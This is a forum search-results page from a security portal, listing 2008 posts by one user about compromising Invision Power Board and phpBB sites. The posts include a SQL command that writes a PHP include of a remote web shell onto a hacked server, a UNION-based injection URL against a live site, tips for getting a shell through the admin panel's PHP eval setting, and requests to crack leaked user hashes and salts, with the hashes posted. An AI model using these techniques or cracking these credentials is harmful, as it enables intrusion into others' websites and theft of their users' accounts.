Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
April 26, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 781
Members: 0
Total: 781
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index
Search found 24 matches
IPB <= 2.3.5 sql injection exploit (new version 1.2)
PostForum: Invision Power Board   Posted: Thu Dec 25, 2008 8:49 pm   Subject: IPB <= 2.3.5 sql injection exploit (new version 1.2)
epro
 
Replies: 79
Views: 148793




Hello, is it possibility to get admin passhash and salt with SQL injection, not exploit, because I have vulnerable forum, but exploit don't want to work.. So?
Brute forcing improving ideas...
PostForum: General discussion   Posted: Fri Oct 31, 2008 12:38 pm   Subject: Brute forcing improving ideas...
epro
 
Replies: 5
Views: 8608




Yes, for thing like you said is wordlists! Bruteforce aim is to check all possibilities to find password! No clever algorithm! Just numbers, letters and special symbols!
Help anyone?? Ipboard hash+Salt
PostForum: All other hashes   Posted: Wed Oct 29, 2008 10:54 am   Subject: Help anyone?? Ipboard hash+Salt
epro
 
Replies: 10
Views: 12109




You are writting incorect algorithm. IPB uses md5(md5($salt).md5($pass)) [PHP] not simply md5!
How check the IPB version??
PostForum: Invision Power Board   Posted: Tue Oct 28, 2008 7:49 pm   Subject: How check the IPB version??
epro
 
Replies: 2
Views: 11007




Invision Power Board 1.3
For this version there are directories and files like these:
/html/emoticons/
/fonts/
/Skin/
/ssi_templates/
ssi.php
show.php
css.php
conf_mime_types.php

Invision ...
IPB salted hashes
PostForum: All other hashes   Posted: Tue Oct 28, 2008 5:30 pm   Subject: IPB salted hashes
epro
 
Replies: 3
Views: 5404




few more: can somebody please crack them?

9d6268f371d6a0f893c9f31542651528:%'9DI
d61a710176fc40bf5ef80b094bbe135c:Ib]gB
cb8c14a79dcdf3df13aa173585915105:>fL2f
5f6699986e12f2a5640cb8f7bb37411d ...
Shell on IPB 2.3.5
PostForum: Invision Power Board   Posted: Tue Oct 28, 2008 5:10 pm   Subject: Shell on IPB 2.3.5
epro
 
Replies: 6
Views: 10763




I can't explain you this onw, but I can show one other, which is working very well!

Go to "Tools & Settings", select any of them, then press "Add New Setting", then in line "Raw PHP code to eva ...
IPB salted hashes
PostForum: All other hashes   Posted: Mon Oct 27, 2008 5:31 pm   Subject: IPB salted hashes
epro
 
Replies: 3
Views: 5404




BIG thanks to you! Exclamation
IPB salted hashes
PostForum: All other hashes   Posted: Mon Oct 27, 2008 11:58 am   Subject: IPB salted hashes
epro
 
Replies: 3
Views: 5404




Hello, I have few salted hashes that I need to be decrypted.


user:hash:salt


tnet:2129115fc56adeca6b56ea8e35047327:8t"l#
aKa:8c1f077556b15d0089b2a54e155180ab:xmmR=
Mo4itajs:f8170ff8d027602a ...
Shell on IPB 2.3.5
PostForum: Invision Power Board   Posted: Sun Oct 26, 2008 4:11 pm   Subject: Shell on IPB 2.3.5
epro
 
Replies: 6
Views: 10763




Hy, I get admin password in IPB 2.3.5 forum and I tried to upload shell. I tried sql command in sql toolbox: SELECT '<? @include("http://myhost/w4priv.php"); ?>' INTO OUTFILE '/opt/hosting/somet ...
sql injection done.. then?
PostForum: Newbies corner   Posted: Wed Oct 15, 2008 6:00 pm   Subject: sql injection done.. then?
epro
 
Replies: 2
Views: 5391




This username/password is for web page were the injection was. So you need to find admin login page/ maybe user login page works too. Then in Admin Panel you look for uploading page or something like ...
Interesting problem (PHPBB 2.0.11)
PostForum: Newbies corner   Posted: Sat Jul 12, 2008 7:29 am   Subject: Interesting problem (PHPBB 2.0.11)
epro
 
Replies: 2
Views: 6082




If you are banned on IP, then no cookies will be working, because you are BANNED. You need to use proxy and then try cookie hack (I don't know for what versions does it work), maybe try some other hac ...
sql injection i need little bit help
PostForum: Sql injection   Posted: Sat Jul 12, 2008 7:19 am   Subject: sql injection i need little bit help
epro
 
Replies: 2
Views: 7200




Simply, the server administrator is smart an you cannot read mysql.user or information_shema or other tables where are BIG information.. Very Happy
But you can guess table names from that web page, and then ...
SQL Injection Issue
PostForum: Sql injection   Posted: Fri Jul 11, 2008 5:07 pm   Subject: SQL Injection Issue
epro
 
Replies: 5
Views: 7638




OK, I already thought so.
So:
with this injection, I found that the prefix for g2_User is creatiff.
http://*****.org/kom.php?akcja=dodaj&parentid=0+union+select+1,UNHEX(HEX(table_sc ...
SQL Injection Issue
PostForum: Sql injection   Posted: Fri Jul 11, 2008 2:53 pm   Subject: SQL Injection Issue
epro
 
Replies: 5
Views: 7638




Maybe thers prefix.. :/
If you give me site via PM, I can try some injections to see, are there prefix or not.. :/
MD5 Hash Help Needed!
PostForum: MD5 hashes   Posted: Sat Jul 05, 2008 2:54 pm   Subject: MD5 Hash Help Needed!
epro
 
Replies: 15
Views: 22185




Ok I can't crack any more hashes.. :/
Page 1 of 2 Goto page 1, 2  Next
All times are GMT
  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.202 Seconds